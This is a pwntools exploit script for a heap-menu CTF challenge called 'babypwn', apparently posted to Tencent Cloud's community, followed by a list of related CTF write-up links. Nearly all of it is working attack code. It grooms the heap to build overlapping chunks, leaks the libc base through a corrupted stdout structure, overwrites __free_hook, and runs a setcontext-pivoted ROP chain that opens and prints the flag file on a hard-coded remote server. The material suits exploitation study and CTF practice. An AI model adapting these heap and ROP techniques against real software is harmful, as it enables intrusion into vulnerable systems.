sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.130.158:8888"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(sz):
    sla('>>', '1')
    sla(':', str(sz))

def rm(idx):
    sla('>>', '2')
    sla(':', str(idx))

def md(idx, d):
    sla('>>', '3')
    sla(':', str(idx))
    sa(':', d)

def dp(idx):
    sla('>>', '4')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ad(0x108) # 0
    ad(0x128) # 1
    ad(0x118) # 2
    ad(0x108) # 3

    for i in range(7):
        ad(0x100)

    for i in range(4, 11):
        rm(i)

    for i in range(7):
        ad(0xf0)

    for i in range(4, 11):
        rm(i)
    rm(0) # set libc


    md(2, 'A' * 0x118) # set last one
    md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
    md(3, b'A' * 0xf8 + p64(0x121)) # set fake size

    rm(3) # unlink

    ad(0x108) # 0
    ad(0x108) # 3

    ad(0x108) # 4
    ad(0x108) # 5
    ad(0x108) # 7
    ad(0x108) # 8
    ad(0x108) # 9

    rm(2) # remove chunk1

    ad(0xd0) # 2
    ad(0x150) # 9

    ad(0x130) # 10
    #2760
    md(10, '\x50\x97') # set to stdout

    ad(0x118) # 11
    ad(0x118) # 12

    p = b'A' * 0x10
    p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
    md(12, p)

    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
    li('libc_base: ' + hex(libc_base))

    rm(11)
    md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))

    ad(0x130) # 11
    ad(0x130) # 13

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
    pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
    ret = libc_base + 0x00000000000008aa # ret
    pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
    syscall = libc_base + 0x11007f

    '''
    p = p64(libc_base + 0x520a5) # setcontext
    p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(libc_open)
    p += p64(pop_rdi) + p64(3)
    p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
    p += p64(libc_read)
    p += p64(pop_rdi) + p64(1)
    p += p64(libc_write)
    p = p.ljust(0x120, b'\x00')
    p += b'./flag'
    '''

    p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(pop_rax) + p64(2)
    p += p64(syscall)

    p += p64(pop_rdi) + p64(3)
    p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
    p += p64(pop_rax) + p64(0)
    p += p64(syscall)

    p += p64(pop_rdi) + p64(1)
    p += p64(pop_rax) + p64(1)
    p += p64(syscall)

    p = p.ljust(0x100, b'\x00')
    p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
    p += p64(libc_base + 0x520a5) # setcontext

    md(13, p) # modify free_hook

    p = b'A' * 0xa0
    p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
    p += p64(ret) # rcx
    md(11, p)

    db()
    rm(11)
    
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        #io = elf.process()
        io = process(elf_path, env = {'LD_PREALOAD': libc_path})
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 护网杯pwn——huwang超详细wp

    比赛结束快一个星期了,复现了一下这道题,借鉴了一下网上的wp发现大佬们写的都很简略,所以这里写一个详细的wp供小白们学习。

    安恒网络空间安全讲武堂
  • 安恒杯丨你一定不知道的安恒杯新姿势

    经过了一周年的洗礼,安恒杯也逐渐明确了自己的定位:论规模,我们尚且不如国内几大知名赛事,毕竟是小(kui)本生意;论质量,我们也还有许多需要改善的地方。但我们还...

    安恒网络空间安全讲武堂
  • wordpress任意文件删除漏洞分析

    本文内容比较多,建议点击https://blog.formsec.cn/2018/07/03/wordpress%E4%BB%BB%E6%84%8F%E6%96...

    xfkxfk
  • 安网杯部分wp

    http://172.20.2.4:9003/index.php?txt=../../../flag 任意文件读取,秒了

    Khan安全团队
  • CTF入门指南(0基础)

    ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: Web 密码学 pwn 程序的逻辑分析,漏洞利用windows、lin...

    Angel_Kitty
  • WP-Optimize插件无法启动的解决过程

    魏艾斯博客遇到了WP-Optimize 插件无法启动的问题,曾经用 WP-Optimize 插件定期优化和加速数据库,用完之后停止、删除掉不占用系统资源,以后想...

    魏艾斯博客www.vpsss.net
  • 中国队首次夺冠!腾讯A*0*E战队斩获DEF CON CTF预赛冠军

    北京时间5月18日早上,全球最高级别CTF赛事——被誉为“黑客世界杯”的DEF CON CTF结束了为期48小时的线上预选赛并公布比赛结果。最终,中国战队腾讯A...

    腾讯安全
  • 护网杯easy laravel ——Web菜鸡的详细复盘学习

    复现让我发现了很多读wp以为懂了动手做的时候却想不通的漏掉的知识点(还是太菜orz),也让我对这道题解题逻辑更加理解。所以不要怂,就是干23333!

    安恒网络空间安全讲武堂
  • 强网杯-upload

    链接:https://pan.baidu.com/s/1fII57jynRV3mINt44uD0Vg

    Elapse
  • 强网杯 WRITEUP

    flag{Welc0me_tO_qwbS4_Hope_you_play_h4ppily}

    鸿鹄实验室
  • 高校战“疫”网络安全分享赛-部分PWN题-wp

    周末打了下 《高校战“疫”网络安全分享赛》,作为WEB转PWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。

    Gcow安全团队
  • 赛前福利②最新2018HITB国际赛writeup

    FIRST 距离“西湖论剑杯”全国大学生网络空间安全技能大赛只有9天啦! 要拿大奖、赢offer,那必须得来点赛前练习定定心啊~这不,讲武堂就拿到了2018HI...

    安恒网络空间安全讲武堂
  • 纵横杯2020 部分WriteUp

    构造httpx://原因:只允许http或者https的协议导致,因此只能代http的读取,但只用http发觉却读取不出来flag,因此添加一个多余x或者其他的...

    Timeline Sec
  • writeup | 强网杯—Simple check

    Simplecheck 下载之后使用winhex打开文件 ? 发现是属于android的逆向题目 修改后缀为.apk 先使用模拟器安装打开该apk ? 猜测题目...

    安恒网络空间安全讲武堂
  • 强网杯-随便注

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

  • AUTO PWN

    ref: https://bbs.pediy.com/thread-266757.htm

    i0gan
  • 从一道mips题目学习搭建mips环境及ROP

    本文以一道简单的mips pwn题,讲解mips环境搭建及mips ROP的构造。这道题目是安洵杯的一道pwn题,题目链接https://github.com/...

    用户2202688
  • PWN | “网鼎杯”朱雀之战——魔法房间题解

    复现一下上周末“网鼎杯”朱雀组中PWN 题——魔法房间。本题主要考察堆溢出中的UAF(Use After Free)漏洞,是经典的“菜单题”。

    tinyfisher
  • ​writeup | 强网杯—Share your mind

    0x01 分析题目 拿到题目后,首先先分析一下题目,发现有注册和登录,尝试登录成功后,发现如下几个页面 Overview // 显示当前自己所有发帖 Write...

    安恒网络空间安全讲武堂

扫码关注云+社区

领取腾讯云代金券